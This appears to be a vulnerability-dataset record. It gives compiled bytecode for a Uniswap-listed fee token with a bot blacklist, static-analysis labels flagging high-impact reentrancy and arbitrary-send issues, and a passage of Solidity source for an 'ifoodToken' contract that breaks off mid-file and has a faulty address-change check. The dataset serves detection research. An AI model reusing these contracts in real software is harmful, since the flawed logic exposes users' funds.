ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b092b4ba2a194f585d4f3b663b232ee571b38a21e003cbebaf6a2dee3860ee5e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,811 |
0x81e74a3ea4bab2277aa3b941e9d9f37b08ac5374
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ifoodToken is ERC20 {
using SafeMath for uint256;
// the controller of minting
address public ifoodDev = 0x4E471f031D03E5856125993dc3D59520229141Ce;
// the controller of approving of minting and withdraw tokens
address public ifoodCommunity = 0x0d72e931932356FcCf8CFF3f83390e24BE72771d;
struct TokensWithLock {
uint256 value;
uint256 blockNumber;
}
// Balances for each account
mapping(address => uint256) balances;
// Tokens with time lock
// Only when the tokens' blockNumber is less than current block number,
// can the tokens be minted to the owner
mapping(address => TokensWithLock) lockTokens;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
// Token Info
string public name = "Ifoods Token";
string public symbol = "IFOOD";
uint8 public decimals = 18;
// Token Cap
uint256 public totalSupplyCap = 10**10 * 10**uint256(decimals);
// True if mintingFinished
bool public mintingFinished = false;
// The block number when deploy
uint256 public deployBlockNumber = getCurrentBlockNumber();
// The min threshold of lock time
uint256 public constant TIMETHRESHOLD = 7200;
// The lock time of minted tokens
uint256 public durationOfLock = 7200;
// True if transfers are allowed
bool public transferable = false;
// True if the transferable can be change
bool public canSetTransferable = true;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier only(address _address) {
require(msg.sender == _address);
_;
}
modifier nonZeroAddress(address _address) {
require(_address != address(0));
_;
}
modifier canTransfer() {
require(transferable == true);
_;
}
event SetDurationOfLock(address indexed _caller);
event ApproveMintTokens(address indexed _owner, uint256 _amount);
event WithdrawMintTokens(address indexed _owner, uint256 _amount);
event MintTokens(address indexed _owner, uint256 _amount);
event BurnTokens(address indexed _owner, uint256 _amount);
event MintFinished(address indexed _caller);
event SetTransferable(address indexed _address, bool _transferable);
event SetifoodDevAddress(address indexed _old, address indexed _new);
event SetifoodCommunityAddress(address indexed _old, address indexed _new);
event DisableSetTransferable(address indexed _address, bool _canSetTransferable);
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
// Allow `_spender` to withdraw from your account, multiple times.
function approve(address _spender, uint _value) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) {
revert();
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Enables token holders to transfer their tokens freely if true
* @param _transferable True if transfers are allowed
*/
function setTransferable(bool _transferable) only(ifoodDev) public {
require(canSetTransferable == true);
transferable = _transferable;
SetTransferable(msg.sender, _transferable);
}
/**
* @dev disable the canSetTransferable
*/
function disableSetTransferable() only(ifoodDev) public {
transferable = true;
canSetTransferable = false;
DisableSetTransferable(msg.sender, false);
}
/**
* @dev Set the ifoodDev
* @param _ifoodDev The new ifood dev address
*/
function setifoodDevAddress(address _ifoodDev) only(ifoodDev) nonZeroAddress(ifoodDev) public {
ifoodDev = _ifoodDev;
SetifoodDevAddress(msg.sender, _ifoodDev);
}
/**
* @dev Set the ifoodCommunity
* @param _ifoodCommunity The new ifood community address
*/
function setifoodCommunityAddress(address _ifoodCommunity) only(ifoodCommunity) nonZeroAddress(_ifoodCommunity) public {
ifoodCommunity = _ifoodCommunity;
SetifoodCommunityAddress(msg.sender, _ifoodCommunity);
}
/**
* @dev Set the duration of lock of tokens approved of minting
* @param _durationOfLock the new duration of lock
*/
function setDurationOfLock(uint256 _durationOfLock) canMint only(ifoodCommunity) public {
require(_durationOfLock >= TIMETHRESHOLD);
durationOfLock = _durationOfLock;
SetDurationOfLock(msg.sender);
}
/**
* @dev Get the quantity of locked tokens
* @param _owner The address of locked tokens
* @return the quantity and the lock time of locked tokens
*/
function getLockTokens(address _owner) nonZeroAddress(_owner) view public returns (uint256 value, uint256 blockNumber) {
return (lockTokens[_owner].value, lockTokens[_owner].blockNumber);
}
/**
* @dev Approve of minting `_amount` tokens that are assigned to `_owner`
* @param _owner The address that will be assigned the new tokens
* @param _amount The quantity of tokens approved of mintting
* @return True if the tokens are approved of mintting correctly
*/
function approveMintTokens(address _owner, uint256 _amount) nonZeroAddress(_owner) canMint only(ifoodCommunity) public returns (bool) {
require(_amount > 0);
uint256 previousLockTokens = lockTokens[_owner].value;
require(previousLockTokens + _amount >= previousLockTokens);
uint256 curTotalSupply = totalSupply;
require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow
require(curTotalSupply + _amount <= totalSupplyCap); // Check for overflow of total supply cap
uint256 previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
lockTokens[_owner].value = previousLockTokens.add(_amount);
uint256 curBlockNumber = getCurrentBlockNumber();
lockTokens[_owner].blockNumber = curBlockNumber.add(durationOfLock);
ApproveMintTokens(_owner, _amount);
return true;
}
/**
* @dev Withdraw approval of minting `_amount` tokens that are assigned to `_owner`
* @param _owner The address that will be withdrawn the tokens
* @param _amount The quantity of tokens withdrawn approval of mintting
* @return True if the tokens are withdrawn correctly
*/
function withdrawMintTokens(address _owner, uint256 _amount) nonZeroAddress(_owner) canMint only(ifoodCommunity) public returns (bool) {
require(_amount > 0);
uint256 previousLockTokens = lockTokens[_owner].value;
require(previousLockTokens - _amount >= 0);
lockTokens[_owner].value = previousLockTokens.sub(_amount);
if (previousLockTokens - _amount == 0) {
lockTokens[_owner].blockNumber = 0;
}
WithdrawMintTokens(_owner, _amount);
return true;
}
/**
* @dev Mints `_amount` tokens that are assigned to `_owner`
* @param _owner The address that will be assigned the new tokens
* @return True if the tokens are minted correctly
*/
function mintTokens(address _owner) canMint only(ifoodDev) nonZeroAddress(_owner) public returns (bool) {
require(lockTokens[_owner].blockNumber <= getCurrentBlockNumber());
uint256 _amount = lockTokens[_owner].value;
uint256 curTotalSupply = totalSupply;
require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow
require(curTotalSupply + _amount <= totalSupplyCap); // Check for overflow of total supply cap
uint256 previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
totalSupply = curTotalSupply.add(_amount);
balances[_owner] = previousBalanceTo.add(_amount);
lockTokens[_owner].value = 0;
lockTokens[_owner].blockNumber = 0;
MintTokens(_owner, _amount);
Transfer(0, _owner, _amount);
return true;
}
/**
